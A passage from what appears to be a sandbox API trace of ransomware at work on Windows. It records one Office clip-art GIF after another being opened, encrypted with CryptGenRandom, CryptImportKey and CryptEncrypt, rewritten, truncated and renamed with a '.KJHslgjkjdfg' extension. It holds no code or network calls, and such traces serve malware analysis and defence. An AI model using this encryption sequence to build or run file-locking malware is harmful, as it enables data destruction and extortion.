ftCreationTime.dwLowDateTime=0xd4c9d300, ftCreationTime.dwHighDateTime=0x1bd4e62, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4c9d300, ftLastWriteTime.dwHighDateTime=0x1bd4e62, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01330_.GIF", cAlternateFileName="")) returned 1 [0219.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.082] GetProcessHeap () returned 0x990000 [0219.082] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.082] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.082] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0219.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.083] GetProcessHeap () returned 0x990000 [0219.083] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.083] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.083] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.084] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.084] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.084] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.084] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.084] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.084] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.084] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x172, lpOverlapped=0x0) returned 1 [0219.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x180, dwBufLen=0x180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x180) returned 1 [0219.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.085] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x180, lpOverlapped=0x0) returned 1 [0219.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.085] SetEndOfFile (hFile=0x130) returned 1 [0219.087] GetProcessHeap () returned 0x990000 [0219.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.087] GetProcessHeap () returned 0x990000 [0219.087] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.kjhslgjkjdfg")) returned 1 [0219.091] CloseHandle (hObject=0x130) returned 1 [0219.091] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0219.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.093] GetProcessHeap () returned 0x990000 [0219.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.093] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0219.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.095] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.095] GetProcessHeap () returned 0x990000 [0219.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.095] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.095] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.095] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.095] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.096] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.096] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.096] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x899, lpOverlapped=0x0) returned 1 [0219.096] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a0) returned 1 [0219.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.096] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8a0, lpOverlapped=0x0) returned 1 [0219.096] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.096] SetEndOfFile (hFile=0x130) returned 1 [0219.098] GetProcessHeap () returned 0x990000 [0219.098] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.099] GetProcessHeap () returned 0x990000 [0219.099] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.kjhslgjkjdfg")) returned 1 [0219.100] CloseHandle (hObject=0x130) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0219.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.101] GetProcessHeap () returned 0x990000 [0219.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.101] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.101] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0219.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.102] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.102] GetProcessHeap () returned 0x990000 [0219.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.102] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.103] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.103] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.103] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.103] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c3, lpOverlapped=0x0) returned 1 [0219.103] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d0) returned 1 [0219.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.103] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d0, lpOverlapped=0x0) returned 1 [0219.103] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.103] SetEndOfFile (hFile=0x130) returned 1 [0219.106] GetProcessHeap () returned 0x990000 [0219.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.106] GetProcessHeap () returned 0x990000 [0219.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.kjhslgjkjdfg")) returned 1 [0219.107] CloseHandle (hObject=0x130) returned 1 [0219.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0219.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.108] GetProcessHeap () returned 0x990000 [0219.108] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.108] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.108] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0219.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.109] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.109] GetProcessHeap () returned 0x990000 [0219.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.109] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.109] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.109] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.109] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.110] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.110] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.110] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.110] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.110] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.110] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x253, lpOverlapped=0x0) returned 1 [0219.110] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x260) returned 1 [0219.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.110] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x260, lpOverlapped=0x0) returned 1 [0219.110] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.110] SetEndOfFile (hFile=0x130) returned 1 [0219.113] GetProcessHeap () returned 0x990000 [0219.113] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.113] GetProcessHeap () returned 0x990000 [0219.113] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.kjhslgjkjdfg")) returned 1 [0219.114] CloseHandle (hObject=0x130) returned 1 [0219.114] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0219.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.115] GetProcessHeap () returned 0x990000 [0219.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.115] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.115] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0219.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 